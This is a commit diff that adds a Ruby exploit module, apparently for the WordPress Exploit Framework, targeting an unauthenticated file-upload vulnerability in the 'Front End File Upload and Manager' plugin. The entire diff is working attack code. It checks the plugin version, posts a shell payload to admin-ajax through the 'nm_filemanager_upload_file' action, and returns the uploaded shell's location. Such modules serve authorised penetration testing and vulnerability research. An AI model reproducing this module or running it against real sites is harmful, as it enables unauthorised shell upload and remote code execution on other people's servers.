Add Front End File Upload and Manager shell upload module

Author: rastating

modules/exploits/front_end_file_upload_and_manager_shell_upload.rb

@@ -0,0 +1,40 @@
+class Wpxf::Exploit::FrontEndFileUploadAndManagerShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Front End File Upload and Manager Unauthenticated Shell Upload',
+      author: [
+        'White Fir Design',               # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8632'],
+        ['URL', 'https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-front-end-file-upload-and-manager-plugin/']
+      ],
+      date: 'Sep 19 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('nmedia-user-file-uploader', '4.0')
+  end
+
+  def uploader_url
+    wordpress_url_admin_ajax
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_field('action', 'nm_filemanager_upload_file')
+    builder.add_field('name', payload_name.downcase)
+    builder.add_file_from_string('file', payload.encoded, payload_name.downcase)
+    builder
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_uploads, 'user_uploads', payload_name.downcase)
+  end
+end